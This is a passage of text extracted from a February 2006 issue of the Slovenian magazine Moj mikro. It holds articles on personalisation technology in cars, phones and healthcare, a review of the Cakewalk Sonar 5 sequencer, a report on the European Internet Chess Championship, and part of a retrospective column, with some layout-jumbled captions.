uporabnika. Namen je opredelitev njegovega načina ravnanja z določeno napravo in potem izdelava prilagojenega vmesnika. Sistem je še vedno v razvoju in je z njim treba ravnati previdno. Uporabnik lahko namreč vznemirja, če ne ve, kakšne informacije sistem o njem zbira. Zavedati se moramo tudi, da bo samodejno prilagajanje sprejeto le pod pogojem, da se značilnosti naprav ne spreminjajo prepogosto, saj bi lahko 92 to spravilo uporabnika v zadrego in ga sililo v učenje novih značilnosti. Sistemi poosebljanja morajo biti torej lahko razumljivi. SPREMINJANJE ARMATURNE PLOŠČE V AVTU Posamezni mobilni telefoni (kot je Siemens CX70) se odzivajo na dotik in lahko prek slik reagirajo na razpoloženje uporabnika. Tipke »Poživljanje« vsakdanjika: Prilagodljivi mobilniki omogočajo prenos razpoloženja sogovorniku se uporabljajo tudi za upravljanje tridimenzionalnih podob, ki izražajo deset različnih razpoloženj. Ohišje vsebuje vdelana tipala gibanja in pritiska ter tako določi, ali je telefon pritisnjen, udarjen ali pretresen, ter uporabi lik npr. Jožice, Janeza ali Franceljna, ki je srečen, žalosten ali jezen. Animirano sliko je mogoče poslati prek večpredstavnega sporočanja (MMS). Ti liki so le začetek razvoja tehnologije avatarjev, ki Hiša na kolesih Avtomobil prihodnosti bo tudi poosebljen, saj v njem običajno prebivamo kar nekaj časa vsak dan, pa še pogosto imamo do njega poseben odnos. Avto bo med drugim naš komunikacijski center za upravljanje in nadzor stanovanja. Iz avta bomo lahko odprli okna v stanovanju, preverjali vrata, vključevali hišne naprave in podobno. V tem primeru bomo seveda morali najprej poskrbeti za pametno opremo in povezavo avta in stanovanja. Vse naprave in tipala v stanovanju morajo biti tako usklajeni, da se lahko prenašajo do marsikatere vrste terminala, kot je mobilni telefon ali infozabavni sistem v avtu. Vsi podatki se bodo usmerjali skozi omrežni prehod. Povezovanje stanovanja z avtom ni velik problem in danes že preizkušajo različne ročne naprave za upravljanje hišnih aparatov. Sprejemna naprava v avtu, ki je lahko kombinacija mobilnega telefona in organizatorja, mora biti narejena za prostoročno uporabo, za kar se lahko uporabi tehnologija bluetooth. V projektu EasyCo, ki ga vodi dr. Nhu Nguyen Thien iz tima Siemens VDO, kot vmesnik za upravljanje s hišnimi napravami preučujejo sistem z na dotik občutljivim zaslonom, opremljenim s sklopom za prepoznavanje gibov roke. Sistem bi lahko uporabljali tudi za upravljanje naprav v avtomobilu. Če bi na primer grobo s prstom narisali noto, bi sistem vključil radio in izbral postajo, ki jo običajno poslušamo. Za izbiro druge postajo bi potem grobo napisali številko na zaslonu, po seznamu, ki nam ga lahko sistem samodejno ponudi. Če pa bi narisali srce, na primer, bi sistem poklical mobilno številko žene ali moža oz. najdražje osebe. S podobnimi znaki bi lahko po potrebi aktivirali tudi hišne sisteme in aparate kar iz avtomobila. Poosebljeni bodo tudi drugi sistemi v avtu, začenši s kartico za odpiranje vrat. Sistem bo lahko samodejno zaznal kartico v našem žepu do oddaljenosti nekaj metrov. V trenutku ko se dotaknemo kljuke, bo sistem odklenil vrata v nekaj milisekundah. Istočasno bo nastavil sedež, volan, ogledala, ogrevanje ali hlajenje, zaščito pred soncem, radio in še kaj po naših nastavitvah, če je bilo vmes kaj spremenjeno. V prihodnosti bo mogoče poosebiti tudi nekatere temeljne funkcije, na primer prestavljanje. Prilagodljivi sistemi bodo lahko usklajevali zmogljivosti avta glede časa tipične Modularna kabina: V avtomobilih reakcije ali obnašanja različnih voznikov, prihodnosti bo mogoče izbrati seveda zmeraj predvsem zaradi varnejše armaturno ploščo po lastnem okusu in vožnje. jo pozneje po želji zamenjati. moj mikro | 2 | februar | 2006 V PRAKSI poosebljanje tehnologije bodo sposobni narediti veliko več. Uporabniki bodo v prihodnosti sposobni določiti ne le videz avatarjev, temveč tudi njihovo obnašanje. Bodoči avatarji bodo osebni sogovorniki, kot svojevrstni dvorniki, ki bodo sposobni reagirati na čustva svojih lastnikov. Mobilni telefon je idealen za poosebljanje, ker lahko razširi navidezni svet uporabnika kadarkoli in na katerikoli lokaciji. Tudi avtomobili so primerni za poosebljanje. Siemens VDO Automotive je lani predstavil študijo o modularni kabini avta, sestavljeni iz armaturne plošče pred voznikom in sopotnikom ter centralne armaturne plošče. Vsi elementi kabine so standardizirani elektronski vmesniki, kar pomeni, da jih lahko zamenjamo. Ideja je prevzeta iz sveta računalnikov. Voznik lahko na primer Zapestnica namesto papirne mape: Osebni podatki o pacientu se lahko danes zapišejo na trak na roki. kombinira seznam najpogosteje uporabljanih večpredstavnih značilnosti in s tem hitro izbere priljubljeno radijsko postajo ali CD-ploščo ali pa izbere telefonsko številko. Pomembne informacije, kot sta hitrost vozila in prikaz poti, se projicirajo na vetrobransko steklo. Uporabnik (voznik) lahko izbere, kateri podatki bodo projicirani na steklo in kateri prikazani na večfunkcijskem Poosebljanje v letu 2020 Moški srednjih let po imenu Bob se zjutraj zbudi in se zagleda v nebo modro kot na razglednicah. Prek njega preletavajo ptice v najrazličnejših barvah in se spuščajo skoraj do površine zelenomodre površine jezera. Nekatere letijo do zelenih hribov v ozadju, se vračajo do jezera in priletijo na drevje v bližini Bobovega velikega okna. Bob se posveti pregledu novosti na svojem osebnem portalu, imenovanem enostavno Moj svet. Vmesnik je oblikovan kot vrtljivi tridimenzionalni globus, okrašen s slikami, ki predstavljajo informacije, revije, e-pošto, zanimivosti, osebne povezave in še marsikaj po Bobovi izbiri. Bob kar z rokami vrti svoj povsem poosebljeni infoglobus in izbira digitalne podobe za pregledovanje, branje ali odgovarjanje. Nenadoma se prikaže plavolaska Cynthia in ga z ljubkim glasom opomnil: »Bob, dragi, dr. Richmond se želi pogovoriti s tabo.« Cynthia ni resnična oseba, ampak Bobov avatar, računalniško ustvarjena osebnost, ki skrbi za Bobove komunikacije, obveznosti in podobno. Dr. Richmond pa je Bobov osebni zdravnik, v bistvu še več – zdravnik, ustvarjen samo za Boba, ker je tudi on računalniška osebnost, ki ve vse o Bobovem zdravju, potrebne informacije o medicini pa pridobiva od mogočnega osrednjega računalniškega sistema bolnišnice. Danes dr. Richmond svetuje Bobu o uporabi zdravil za izboljšanje krvne slike. Čez nekaj dni, ko se bo Bob vrnil domov, se bo dr. Richmond pojavil tudi na domačem infozabavnem sistemu in mu svetoval o izbiri živeža v skladu z naravo Bobove bolezni in predpisanim načinom zdravljenja. Po pogovoru s poosebljenim zdravnikom o zdravljenju se Bob odloči za nekaj spanja. Njegova avatarka ga vpraša: »Bob, dragi, kdaj naj te zbudim?« »Kadarkoli«, odgovori Bob, vendar ne pozabi te lepe besede − 'dragi'. Obdobje popolnega poosebljanja: V letu 2020 bo tudi zdravljenje povsem po meri pacientov. Trgovina s sistemom radijskih nalepk: RFID poenostavlja naročanje, skladiščenje in plačevanje, prinaša pa tudi tveganje neželenega branja podatkov.  Poosebljanje pridobiva pomen: Prilagajanje spletne strani uporabniku povečuje njegovo zaupanje Naložbe v poosebljanje: Svetovni trg opreme za biometrijo od leta 2004 hitro raste. instrumentu na armaturni plošči. Po mnenju strokovnjakov bomo v prihodnosti uporabljali le zaslone in več elektromehanskih instrumentov. Predlagajo tudi, da se namesto posebnega vmesnika za kabino uporabi meni, kakršnih smo že navajeni pri z radiu, CD- ali DVD-predvajalniku, televizorju ali dlančniku. BIOMETRIJA NA POHODU Natančno merjenje koristi poosebljanja za poslovanje je zapleteno. Spletne raziskave kažejo, da se prodaja povečuje neposredno odvisno od ravni poosebljanja. Po raziskavi analitskega podjetja Fletcher Research se za nakupovanje prek nepoosebljenih spletnih strani odloča 28 % obiskovalcev, medtem ko se za nakupe na poosebljenih straneh odloča 68 % obiskovalcev. Raziskava Združenja za poosebljanje (Personalization Consortium) iz Massachusettsa med 4500 uporabnikov interneta je pokazala, da je večina voljna dati osebne podatke, če bo to omogočilo spletnem podjetju, da si zapomni njihova zanimanja in želje. Danes je pri naročanju prek interneta vse bolj prisotna individualizacija. Kupci avtomobilov si želijo nastavljene sedeže,ogrevanje, ogledala, zadnje čase tudi poosebljene zračne blazine, saj nova tipala omogočajo nastavitev hitrosti in položaja blazine glede na velikost in težo voznika oz. potnika. Poosebljenje se uveljavlja tudi pri zaščiti proti kraji, s sistemi za odklepanje brez ključa. Biometrij- 93 V PRAKSI poosebljanje tehnologije ska zaščita pridobiva vse večjo vlogo, kar potrjuje raziskava analitskega podjetja Frost & Sullivan, po kateri bo prihodek od prodaje biometrijskih naprav s 158 milijonov dolarjev v letu 2000 porasel na 3,5 milijarde dolarjev v letu 2009. Po oceni podjetja Acuity bo samo trg sistemov za preverjanje prstnega odtisa, zasnovanih na čipu porasel s 5,1 milijona dolarjev v letu 2001 na 424 milijonov dolarjev v letu 2006, predvsem zaradi povečevanja uporabe z mobilnimi telefoni. Od letošnje prodaje bo 35 % prihodka od sistemov za preverjanje prstnega odtisa in 33% od sistemov za prepoznavanje obraza. Velik potencial ima tudi trg poosebljenih naprav za zdravstvo. V letu 2003 je evropski trg licenc programske opreme zrasel za 19,2 % in dosegel 207 milijonov evrov. Letos v Nemčiji načrtujejo izdajanje elektronskih zdravstvenih kartic za približno 80 milijonov zavarovancev, z vpisanimi podatki o zdravilih, kroničnih boleznih, prejetih vakcinah in drugih. Elektronski zapisi podatkov o pacientih so veliko več kot le posebna različica papirnih dokumentov, poudarja Siddarth Saha iz podjetja Frost & Sullivan, ki napoveduje, da bo v letu 2010 evropski trg elektronskih zdravstvenih kartic dosegel vrednost 699 milijonov evrov. Pilotski projekt zamenjave kartic v Nemčiji je utrl pot uvedbi elektronski zdravstveni evidenci v celotni Evropi. Laboratorij na čipu Zdravstvena nega bolnika se bo v prihodnosti začenjala z odvzemom kapljice krvi, ki jo bodo dali na majceno kartico, imenovano hitri laboratorij oziroma quicklab (v Siemensovi različici). Kartico s kapljico krvi bodo nato vstavili v analizator velikosti prenosnega računalnika. Analizator bo hitro postavil diagnozo bolezni ali napovedal morebitni razvoj bolezni – od raka sečnika ali prsi, do ateroskleroze ali Alzheimerjeve bolezni. Laboratorij na čipu oz. kartici je prva stopnica v novi liniji obrambe, v kateri bo poudarek na preprečevanju in celovitem poosebljenem zdravljenju. V naslednjih dvajset let bodo mnoge bolezni, vključno z rakom in srčnimi boleznimi, diagnosticirane in zdravljene dovolj zgodaj, da bodo lahko pacienti povsem ozdraveli. V Centru za molekularne raziskave Splošne bolnišnice v Massachusettsu (MGH) so razvili postopek ustvarjanja biorazgradljivih nanodelcev, ki se natančno prilegajo receptorjem celic raka prostate ali drugih ubijalcev. Vse celice s tako povezanimi nanodelci so rakave po definiciji. Pri snemanju z novo generacijo magnetnoresonančnih (MR) skenerjev celice raka s povezanimi nanodelci osvetlijo, kar omogoča izdelavo natančnih »zemljevidov« za kirurga, saj so sicer predrakave in zdrave celice videti povsem enako. Strokovnjaki zdaj razvijajo postopek, po katerem bi rakave celice vsrkale fluorescentne »nanonalepke«, ki bi potem svetile z infrardečo svetlobo, s tem odkrivale obolelo tkivo in tako olajšale kirurški poseg. Celoten postopek bi bil prilagojen bolniku in zagotovil najvišjo raven učinkovitosti. Označevanje za kirurgijo raka: Fluorescentne »nanonalepke« osvetlijo rakave celice (shema levo), kar omogoča razlikovanje zdravega tkiva (zgornji presek na srednji sliki) od rakavega (spodnji presek); laboratorij na kartici (desno) omogoča odkrivanje raka in celo tkiva, ki je v nevarnosti, da zboli za rakom (desno). Kako zaščititi osebne podatke: V Siemensovi rešitvi so zdravstveni podatki namesto na kartici shranjeni v strežniku. PODATKI NA KARTICAH V bolnišnicah digitalne naprave v glavnem samujejo v sobah za intenzivno nego, v operacijskih dvoranah, na radioloških oddelkih in v podobnih prostorih. V še vedno redkih visoko tehnološko integriranih bolnišnicah, kot sta Alegent Health Lakeside Hospital v Omahi in Massachusetts General Hospital v Bostonu, se medicinski podatki prečistijo in potem kombinirajo z administrativnimi informacijami v obliki elektronskih zapisov o pacientu. Takšen poosebljen dokument »na zahtevo« in v realnem času pomeni revolucijo glede razpoložljivosti in natančnosti medicinskih podatkov. Informacijske tehnologije bodo zagotavljale uporabo vse večjih količin podatkov z namenom boljšega razumevanja posebnih zdravstvenih težav pacienta. S tem bo postajalo tudi zdravljenje v vse večji meri poosebljeno, seveda v različnih oblikah, odvisno od 94 starosti pacienta, njegovih težav, okoliščin zdravljena, izkušenj bolnišnice in tako naprej. Poosebljenje je izjemno pomemben trend v zdravstvu. V prihodnosti bodo podatki o pacientih inteligentno obdelani in takoj na voljo za zdravstvene namene, kar bo olajšalo vse faze kliničnega odločanja. Informacije bodo dostopne tudi na elektronskih zdravstvenih karticah. Poosebljenje lahko pridobi različne oblike. Danes lahko na primer kardiolog pediater analizira bitje srca fetusa z domačim računalnikom sredi noči, da pomaga bolničark pripraviti postopek zdravljenja za nosečnico. Kmalu bo programska oprema vse bolj analizirala recepte glede na stanje pacienta in opozarjala zdravnika na specifična stanja, ki lahko pomenijo tveganje. V naslednjih letih bodo pacientovi genetski podatki uporabljani za določanje preventivnega zdravljenja bolezni, h katerim je nagnjen. Še višja stopnja poosebljenja bo uporaba informacij o pacientovem genetskem in proteomskem (utemeljenem na proteinih) ustroju z namenom določanja preventivnega zdravljenja in zdravljenja bolezni. TEŽAVE Z ZAŠČITO Tovrstne sisteme raziskujejo tudi v bolnišničnem kompleksu Alegent Health Lakeside Hospital, ki so ga odprli v letu 2004, zajema pa devet bolnišnic in še 100 servisov. V bolnišnici deluje celovit sistem upravljanja, dobave, varnosti, kontrole, osvetljevanja in drugega. Vsi podatki o pacientih so v elektronski obliki, centralizirani in zapisani tudi na karticah – od diagnostičnih in terapevtskih informacij, prek podatkov dieti in uporabi zdravil, do informacij o zavarovanju in izdajanja računov. Celoten sistem upravljanja temelji na Siemensovi programski opremi Soarian Clinical Access and Health Information Management (HIM), sistemu za arhiviranje in komunikacije PACS. V upravi bolnišnice poudarjajo, da so nove tehnologije, ki jih uporabljajo, za marsikoga še vedno »šok prihodnosti«. Toda, poudarjajo, v sodobni bolnišnici za to pravzaprav ni alternative. Strokovnjaki, ki se ukvarjajo z različnimi vidiki poosebljanja, preučujejo tudi vprašanja poosebljanja procesov, sistemov, celo prilagojenih tovarn prihodnosti. Na drugi strani se ukvarjajo tudi z zaščito podatkov, vpisanih na karticah, nalepkah in na drugih mestih, ki so dostopna tudi nepooblaščenim osebam. S prihajajočo uporabo radijske identifikacije (RFID) se proces poosebljanja širi tudi na milijarde predmetov, ki bodo z nalepkami RFID pridobivali svojo »identiteto«, tako da bo mogoče vsak izdelek spremljati skozi ves življenjski cikel, od nastanka do uničenja. Zaščita osebnih, zdravstvenih in drugačnih podatkov oseb se seveda ne more primerjati z zaščito podatkov izdelkov in predmetov. Kljub temu je problem zaščite skupen, tudi zato, ker bosta ta dva osnovna vidika pogosto povezana, na primer pri zdravilih za bolnika ali osebni prtljagi na potovanju, če omenimo samo dva od številnih možnih primerov. No, to je že tema za kakšno drugo priložnost.  moj mikro | 2 | februar | 2006 V PRAKSI glasbena produkcija Cakewalk Sonar 5: prvi pri 64 bitih Tokrat predstavljamo prvega v množici, bi lahko rekli. Preden bodo nekateri uporabniki drugih sekvenčnikov užaljeni, naj poudarim, v čem je Sonar prvi: To je prvi avdio/MIDI- sekvenčnik na trgu, ki popolno izrablja novo 64bitno tehnologijo. Piše : Igor Matičič igor.maticic@mojmikro.si S icer pa je prvo mesto po priljubljenosti zanj že nekaj časa rezervirano onkraj luže, v naših krajih pa naj bi to mesto še vedno zasedal Cubase (SX). No, ti časi se lahko tudi spremenijo, še zlasti zaradi dejstva, ker so se pri Cakewalku veliko naučili iz časov, ko jih je takratni Steinberg (Cubase) s predstavitvijo tehnologije VST »povozil« za nekaj let napredka. A vse se nekoč vrne … lahko dobimo natančneje obdelan zvok. Za optimalno uporabo te tehnologije seveda potrebujemo ustrezen procesor in Windows XP v 64-bitni različici. Poskrbljeno pa je seveda tudi za uporabnike z navadnim (32-bitnim) sistemom XP, saj programska oprema nastopa v obeh različicah. Razlika med njima se pokaže v hitrosti izvedbe, ki je po nekaterih meritvah od 20 do 30 % večja pri 64-bitnem sistemu. Dodatna prednost 64-bitnega sistema se kaže tudi v večjih možnostih pri nadgradnji (pomnilniški moduli velike zmogljivosti pridejo pri vzorčenju zvoka še kako prav). Da ni vsak napredek idealen, pa kaže dejstvo, da je programskemu paketu priložen tudi pripomoček BitBridge, ki vse dosedanje (32-bitne) vtične dodatke VST (zvočni učinki ipd) pripravi za uporabo v 64-bitni tehniki. Na videz preprosta stvar, a brez tega bi se lahko vsak uporabnik ob nadgradnji zopet znašel na začetku zbiranja VST-vtičnikov po lastnem okusu … Slika2: V-Vocal deluje na podlagi tehnologije VariPhrase STUDIO IN PRODUCER Sonar 5, kot tudi že nekatere prejšnje različice, nastopa v dveh programskih izdajah: Studio in Producer. Obe vsebujeta vsa osnovna in zahtevnejša orodja in delujeta z isto tehnologijo razlike so le v nekaterih dodatkih, ki pa jih morda kateri izmed manj veščih uporabnikov še opazil ne bo. Bo pa zato morda zadovoljnejši, če bo udarec po žepu manjši. Slika1: Sintetizator PSYN II Kaj zmore Sonar kot MIDI/avdio sekvenčnik? Za tiste, ki se prvič srečujete s Sonarjem ali morda celo pojmom MIDI/avdio sekvenčnik, naj na kratko pojasnim raznovrstnost tega programa. Namenjen je glasbenikom vseh vrst, saj podpira zelo različne načine ustvarjanja glasbe: Večstezno MIDI in avdio snemanje, napredno snemanje po korakih, urejanje in obdelava posnetkov, dodajanje zvočnih učinkov, urejanje notnega črtovja, sinhronizacija z zunanjimi enotami, opremljanje video posnetkov z zvokom/glasbo, prostorsko mešanje zvoka, avtomatika mešanja in še mnogo drugih. Pomembno pri Sonarju je, da že od vseh začetkov (ki segajo v zdaj že daljne različice MSDOS in Windows, ko se je program imenoval še Cakewalk) deluje izredno zanesljivo in uporabniku prijazno (lastnoročno preverjeno). Bomo videli, ali bo enako tudi z novimi različicami … KAJ PRINAŠA 64-BITNA TEHNOLOGIJA Uporaba 64-bitne tehnologije v glasbenozvočnem smislu sicer ne pomeni neposredne slišne izboljšave (kakovost zvoka je seveda še vedno odvisna od kakovosti A/D- in D/Azvočnih pretvornikov), pač pa se seveda poveča hitrost izvajanja operacij in posredno zato mu namreč knjižnica 340 vzorčenih odmevov iz vrhunskih akustično opremljenih dvoran in prostorov kot tudi znanih elektronskih zvočnih učinkov. V-Vocal pa je namenjen predvsem spremembi tempa in višine zvočnega posnetka (ali vzorca) v trenutnem času. Zelo primeren je za popravljanje manj kakovostnih vokalnih VIRTUALNI INŠTRUMENTI IN ZVOČNI UČINKI Razlika med izdajama Producer (obsežnejša) in Studio se kaže v pripadajočih programskih vtičih v obliki virtualnih glasbenih inštrumentov in zvočnih učinkov. Pri prvi je teh namreč precej več. PSYN II je sintetizator zvokov analognega sloga, ki deluje na osnovi substrakcije in je primeren za uporabo toplih basovskih in solo partov. RXP REX Player pa je primernejši za predvajanje zvočnih zank in vzorcev. Pripada mu tudi knjižnica vzorcev. Potem so tu še Pentagon I (analogni), Roland GrooveSynth in nekateri drugi, že iz prejšnjih različic znani inštrumenti. Na področju zvočnih učinkov in procesorjev si daleč največ pozornosti zaslužita Perfect Space in Rolandov V-Vocal (VariPhrase Technology). Prvi deluje na 64-bitni tehnologiji convolution − vzorčenja bolj ali manj odmevnih prostorov, kar daje končnemu izdelku občutek izredno realne zvočne slike. Pripada posnetkov: popravek neuglašenosti, vibrato, poudarjanje ipd. Vsekakor profesionalno orodje, ki pa v nepravih rokah lahko prinese pretiravanje z obdelavo posnetkov in s tem do slabše kakovosti, zato previdno. Tudi za tiste, ki želijo končno mešanje opraviti v prostorski (surround) tehniki, je primernejša izdaja programa Producer, saj poleg zagotavljanja prostorskega mešanja v več formatih vsebuje tudi prostorski stiskalnik Sonitus. Sicer pa drugih večjih razlik med izdajama ni, saj je vse drugo (tudi že doslej znani zvočni učinki in inštrumenti) tudi v izdaji Studio. PETICA ZA PETICO Sonar 5 je nedvomno vrhunski izdelek, ki si je svojo petico krepko zaslužil. Ima toliko kakovostnih orodij, da si ga težko predstavljam v kombinaciji z manj zmogljivo zvočno kartico, ki sicer danes pripada povprečnemu računalniku. Mislim namreč, da bo treba seči malce globlje v žep in Sonarju dodati katerega izmed kakovostnejših zvočnih pretvornikov, sicer bo vsaka nadgradnja s prejšnjega sistema izgubila svoj pomenu. MIDI/avdio sekvenčnik je vendarle osrednja enota modernega snemalnega/glasbenega studia in temu primerna naj bo tudi druga oprema. Če pa ste morda še vedno v dvomih, ali je Sonar 5 prava stvar za vas, pa ne skrbite: veliko orodij podobnih funkcionalnosti najdete tudi v starejših različicah sekvenčnikov. Naj bo le ustvarjena glasba tista, ki je pomembna, ne glede na število bitov …  95 V PRAKSI računalniki in šah 3. evropsko internetno prvenstvo v šahu Od 9. do 22. januarja 2006 je ECU v sodelovanju s firmo ChessBase priredil 3. evropsko internetno prvenstvo. Ta uspela prireditev je dokaz več, da pomeni internet pravi razcvet šahovske igre. Piše : Vojko Mencinger vojko.mencinger@mojmikro.si E vropska šahovska zveza (ECU – European Chess Union) je ena od štirih celinskih zvez v okviru mednarodne šahovske organizacije FIDE. In zagotovo najaktivnejša. Če samo omenimo izjemno priljubljenost odprtih evropskih prvenstev, kjer se zbere tudi več kot 130 velemojstrov, kar je za posamične turnirje rekord brez primerjave. Tudi organizacija internetnega prvenstva je »unikat« ECU. 3. EVROPSKO INTERNETNO PRVENSTVO Od 9. do 22. januarja 2006 je ECU v sodelovanju s firmo ChessBase priredil 3. evropsko internetno prvenstvo. Tekmovanje je potekalo na strežniku Playchess.com. Skupni nagradni sklad je znašal zares lepih 6000 evrov. Turnir je bil odprtega tipa, kar pomeni, da je na njem lahko nastopil vsak šahist, registriran za eno od 53 evropskih nacionalnih šahovskih zvez. To je bilo tekmovanje v hitropoteznem šahu, ki je v internetu nasploh najbolj priljubljen. Turnir je bil razdeljen v: • štiri odprte predtekmovalne turnirje – po švicarskem sistemu, 9 kol, • odprti turnir kandidatov, • finalni turnir. PREDTEKMOVANJE Za sodelovanje na enem od štirih odprtih predtekmovalnih turnirjev je moral šahist izpolnjevati naslednje zahteve: • veljaven račun v strežniku – tega pridobi z nakupom enega od programov podjetja ChessBase (Fritz, Shredder, Hiarcs …), • vsaj status »skakača«, • kakovostna internetna povezava ; če je šahist imel težave s povezavo, kar je lahko povzročalo težave z vodenjem turnirja, in so bile zakasnitve večje od ene sekunde, je lahko turnirski direktor takšnega udeleženca izločil iz turnirja. Čas za razmišljanje je bil 5 minut na partijo. Najboljših 15 iz vsakega predtekmovalnega turnirja se je uvrstilo na turnir kandidatov. Pristopnine za turnir ni bilo! Najboljši trije so dobili »plačilo« v obliki dukatov – 250, 150 in 96 100. Te dukate je možno izkoristiti kot pristopnine za nagradne turnirje ali za plačilo učnih lekcij. En dukat je vreden en evro. Na prvem predtekmovalnem turnirju je nastopilo kar 463 šahistov. To je bil doslej največji turnir, odigran prek strežnika Playchess.com. No, in ravno na tem je vidno vlogo odigral tudi mladi slovenski reprezentant, mednarodni mojster Jure Borišek iz Nove Gorice (na strežniku Playchess nastopa pod psevdonimom »SlovenianLion« z izjemnim ratingom 2792 točk!). Z osvojenimi 8 točkami od 9 možnih je delil 1. do 3. mesto in se tako uvrstil na turnir kandidatov. TURNIR KANDIDATOV Pravico udeležbe na turnirju kandidatov so poleg kvalifikantov imeli še: • vsi velemojstri in velemojstrice, • igralci s FIDE ELO večji od 2500, • aktualni svetovni in evropski prvaki in prvakinje – tudi v vseh mladinskih kategorijah, • po en igralec, ki ga lahko delegira vsaka od šahovskih zvez. S turnirja kandidatov se je na finalni turnir uvrstilo najboljših 16. Čas za razmišljanje je bil 5 minut + 1 sekunda dodatka na potezo. Žal se našemu Borišku ni uspelo uvrstiti na finalni turnir. FINALNI TURNIR Na finalnem turnirju je igralo 32 šahistov. Šestnajstim kvalifikantom se je pridružilo 16 šahistov, ki sta jih delegirala ECU in ChessBase. Čas za razmišljanje je bil 5 minut + 1 sekunda dodatka na potezo. Turnir je potekal tako, da so igralce razdelili v 8 skupin po štiri. Vsak je igral z vsakim po štiri partije. V primeru neodločenega izida so igrali dodatne izločilne partije po metodi »Armageddon« − beli ima 6 minut, črni pa 5 minut za razmišljanje, toda beli mora zmagati. Prva dva iz vsake skupine sta se uvrstila v osmino finala, kjer so se igrali izločilni dvoboji. Na finalnem turnirju je slovenske barve branil velemojster Duško Pavasović. Imel je zelo težko skupino, a se mu je uspelo uvrstiti med 16 najboljših. Žal je izpadel v osmini finala, kjer ga je izločil ruski velemojster Ovečkin. Potem ko Duško ni izkoristil boljše pozicije v drugi partiji, ga je Rus dobil v tretji. Oglejmo si to partijo, ki jo odločila dvoboj. Ovetchkin,R (RUS) - Pavasovic,D (SLO) [C68 – Španska otvoritev] 1.e4 e5 2.Sf3 Sc6 3.Lb5 a6 4.Lc6 dc6 5.Sc3 Dd6 6.d4 ed4 7.Sd4 Ld7 8.Le3 0–0–0 9.De2 Dg6 10.f3 Lb4 11.0– 0 Se7 12.a3 Lc3 13.bc3 f5 14.Tab1 fe4? (Napaka. Še najboljša možnost bi bila 14... Tde8. Sledi namreč lepa žrtev trdnjave.) 15.Tb7! c5 16.Tfb1 Lb5 17.Sb5 Kb7 18.Lc5? (Beli prav tako greši in izpušča zmago. Po 18.Sd6! Kc6 19.Se4 Kd7 20.Lg5 Ke8 21.Le7 Ke7 22.Sc5 je beli dobljen.) 18...Sc8? (Črni ne izkorišča možnosti za rešitev, ki se je skrivala v 18...ab5! 19.Db5 Kc8 20.Le7 Td2 21.Lg5 e3.) 19.Sd6 Kc6 20.Se4 Sb6 21.Lb6 cb6 22.Da6 Tb8 23.Dc4 Kb7 24.Sc5 Kc6 25.Se6 Kd6 26.Td1 Ke7 27.Sf4 Df5 28.Dc7 Kf6 29.Td6 Kg5 30.Td5 1–0 PRESENEČENJE – ZMAGA KVALIFIKANTA! Kot zanimivost povejmo, da so enega udeleženca finala diskvalificirali zaradi »goljufanja«. Očitno je komisija budno pazila, ali igralci morda ne uporabljajo pomoči računalnika. V nadaljevanju je bilo odigranih precej zanimivih partij, še zlasti če upoštevamo, da gre za hitropotezni šah, kjer pač ne moremo biti preveč kritični. Napake so glede na kratek čas za razmišljanje seveda tudi toliko pogostejše. Poglejmo si eno lepših kombinacij. V partiji Jakovenko (RUS) – Marin (ROM) je po 24.Df2 nastala naslednja pozicija. Črni je izvedel lepo kombinacijo 24….Tf3! 25.gf3 Sf3 26.Kg2 Se1 27.Te1 Te1 28.Lg7 Df2 29.Kf2 Tc1 in v nadaljevanju realiziral prednost. Rezultati finalnih dvobojev: Četrtfinale Aleksej Drejev − Vladimir Dobrov Vladimir Potkin − Vugar Gašimov Emil Sutovski − Roman Ovečkin Mihail Marin − Dimitrij Jakovenko Polfinale Vladimir Dobrov − Vladimir Potkin Emil Sutovski − Dmitrij Jakovenko Finale Vladimir Dobrov − Emil Sutovski 1˝ : 2˝ 2˝ : ˝ 3:0 2:3 3:2 2˝ : ˝ 3:2 Vladimir Dobrov, ki je prišel na finalni turnir skozi kvalifikacije, je premagal tako prvega favorita Drejeva kot tudi po ratingu mnogo moj mikro | 2 | februar | 2006 V PRAKSI Deset let pozneje močnejšega Emila Sutovskega. Toda »cuger je cuger« in tu ni favoritov. Zmagovalcu je pripadla nagrada 2400 evrov, poražencu pa polovica tega. Denarne nagrade so dobili vsi, ki so prišli vsaj v četrtfinale. SKLEP Internet pomeni pravi razcvet šahovske igre. Šahisti bi lahko rekli hvala vsem tistim, ki so omogočili razvoj in takšno razširjenost interneta. Na tem turnirju je bila premoč »vzhodnjakov« nad »zahodnjaki« še toliko opaznejša, kot na drugih turnirjih. Namreč, na finalnem turnirju so med 32 udeleženci igrali samo štirje zahodnjaki. Še vedno pa pri internetnih turnirjih obstaja dvom o tem, ali šahisti ne uporabljajo nobenih pomagal – računalniki, sekundanti … Ali je to mogoče popolnoma izločiti? Ali so člani komisije res sposobni najti vse kršitelje? GENS UNA SUMUS  Pravijo, da se letos napoveduje računalniška revolucija. Točneje rečeno: obeta se druga faza interneta, imenovana Web 2, kar po naše pomeni Splet 2. Tudi pred desetimi leti so napovedovali hiter razvoj uporabniških rešitev in spraševali, kdo je na potezi. Občudovali pa so čudoviti svet računalnikov macintosh. Beremo: »Verjetno ga ni zanesenjaka, ki si ne bo kdaj zaželel na svojem delovnem mestu imeti (tudi) maca, če… Na žalost je teh čejev preveč in Apple je zaplaval v rdeče številke.« Pod naslovom »Krasni novi svet« potem beremo razmišljanja o tem, kateri sistemi bodo izkoristili novi procesor. Omenjeni so vsi obstoječi 32-bitniki: Windows NT, OS/2, Linux… In seveda ni spregledan niti Intel, ki »počasi neti ogenj na področju, kjer doslej še ni kaj zelo uspeval«. Pa stokanje »računalnik, ti moj najdražji«. Računalnik je bil namreč pred desetimi leti draga zadeva, največja težava pa je bila po tedanji oceni »škrtost Slovencev«. Resda so največji snobi vsako leto zamenjali računalnik in za veliko boljšo in hitrejšo konfiguracijo plačali veliko manj, »da pa bi stari računalnik prodali po veliko nižji ceni od tiste, po kateri so ga kupili, to pa ne.« In jamranje se v februarski številki nadaljuje. Ni namreč šale s podatki in programi, zato ni šlo brez omembe poškodovanja in navajanja kazenskopravne plati. In če je tiskalnik ozko grlo? Pa odstranjevalec virusne nadloge, pometanje golazni skozi okna? Sprostitev se je nato le začela, in sicer z opisom Gatesove hiše prihodnosti. Tiste nasproti Seattla, na obali Washingtonovega jezera. Napoved: »Gatesov dom je dom prihodnosti. Inovacije, ki so uporabljene v njem, bodo postopoma prihajale tudi v naša stanovanja in izboljšale kakovost bivanja.« Optimizem se je nadaljeval s člankom »Dirkalnik, imenovan Pentium Pro. In se zaključil z opisom slovenskih novosti. Z leksikonom Slovenije, ki je nastajal več kot tri leta s sodelovanjem okrog 60 